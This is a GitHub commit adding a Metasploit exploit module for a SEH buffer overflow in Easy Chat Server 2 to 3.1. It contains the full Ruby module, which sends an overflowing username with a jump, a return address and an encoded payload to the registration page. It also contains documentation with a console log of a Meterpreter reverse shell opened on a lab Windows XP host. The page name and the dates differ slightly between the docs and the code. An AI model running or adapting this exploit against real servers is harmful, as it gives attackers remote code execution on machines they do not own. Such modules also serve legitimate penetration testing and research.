Skip to content

Commit 9775df1

Browse files
committed
Land rapid7#8586, Easy Chat Server 2 to 3.1 - Buffer overflow (SEH) exploit
2 parents ee1c87b + 66eb89e commit 9775df1

File tree

2 files changed

+127
-0
lines changed

2 files changed

+127
-0
lines changed
Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
## Description
2+
3+
This module exploits a vulnerability in the EFS Easy Chat Server application, from version 2 to 3.1, affecting the username parameter in Registration page 'register.ghp', which is prone to a stack overflow vulnerability.
4+
5+
This module allows a remote attacker to get a payload executed under the context of the user running the Easy Chat Server application
6+
7+
## Vulnerable Application
8+
9+
[Easy Chat Server](http://echatserver.com/) Easy Chat Server is a easy, fast and affordable way to host and manage real-time communication software.
10+
11+
This module has been tested successfully on
12+
13+
* Easy Chat Server 3.1 on Windows XP En SP3
14+
15+
Installers:
16+
17+
[EFS Easy Chat Server Installers](http://echatserver.com/ecssetup.exe)
18+
19+
## Verification Steps
20+
21+
1. Start `msfconsole`
22+
2. Do: `use exploits/windows/http/easychatserver_seh`
23+
3. Do: `set rhosts [IP]`
24+
4. Do: `exploit`
25+
5. You should get your payload executed
26+
27+
## Scenarios
28+
29+
```
30+
marco@kali:~$ msfconsole -q
31+
msf > use exploit/windows/http/easychatserver_seh
32+
msf exploit(easychatserver_seh) > set RHOST 192.168.56.101
33+
RHOST => 192.168.56.101
34+
msf exploit(easychatserver_seh) > exploit
35+
36+
[*] Started reverse TCP handler on 192.168.56.1:4444
37+
[*] Sending stage (957487 bytes) to 192.168.56.101
38+
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1037) at 2017-06-20 00:43:51 +0200
39+
40+
meterpreter > sysinfo
41+
Computer : MM-8B040C5B05D9
42+
OS : Windows XP (Build 2600, Service Pack 3).
43+
Architecture : x86
44+
System Language : en_US
45+
Domain : WORKGROUP
46+
Logged On Users : 2
47+
Meterpreter : x86/windows
48+
meterpreter > exit
49+
[*] Shutting down Meterpreter...
50+
51+
[*] 192.168.56.101 - Meterpreter session 1 closed. Reason: User exit
52+
msf exploit(easychatserver_seh) >
53+
```
Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
8+
Rank = NormalRanking
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'Easy Chat Server User Registeration Buffer Overflow (SEH)',
15+
'Description' => %q{
16+
This module exploits a buffer overflow during user registration in Easy Chat Server software.
17+
},
18+
'Author' =>
19+
[
20+
'Marco Rivoli', #Metasploit
21+
'Aitezaz Mohsin' #POC
22+
],
23+
'License' => MSF_LICENSE,
24+
'References' =>
25+
[
26+
[ 'EDB', '42155' ],
27+
],
28+
'Privileged' => true,
29+
'Payload' =>
30+
{
31+
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
32+
},
33+
'Platform' => 'win',
34+
'Targets' =>
35+
[
36+
[ 'Easy Chat Server 2.0 to 3.1', { 'Ret' => 0x100104bc } ],
37+
],
38+
'DefaultOptions' => {
39+
'RPORT' => 80,
40+
'EXITFUNC' => 'thread',
41+
'ENCODER' => 'x86/alpha_mixed'
42+
},
43+
'DisclosureDate' => 'Oct 09 2017',
44+
'DefaultTarget' => 0))
45+
end
46+
47+
def exploit
48+
sploit = rand_text_alpha_upper(217)
49+
sploit << "\xeb\x06\x90\x90"
50+
sploit << [target.ret].pack('V')
51+
sploit << payload.encoded
52+
sploit << rand_text_alpha_upper(200)
53+
54+
res = send_request_cgi({
55+
'uri' => normalize_uri(URI,'registresult.htm'),
56+
'method' => 'POST',
57+
'vars_post' => {
58+
'UserName' => sploit,
59+
'Password' => 'test',
60+
'Password1' => 'test',
61+
'Sex' => 1,
62+
'Email' => 'x@',
63+
'Icon' => 'x.gif',
64+
'Resume' => 'xxxx',
65+
'cw' => 1,
66+
'RoomID' => 4,
67+
'RepUserName' => 'admin',
68+
'submit1' => 'Register'
69+
}
70+
})
71+
handler
72+
73+
end
74+
end

0 commit comments

Comments
 (0)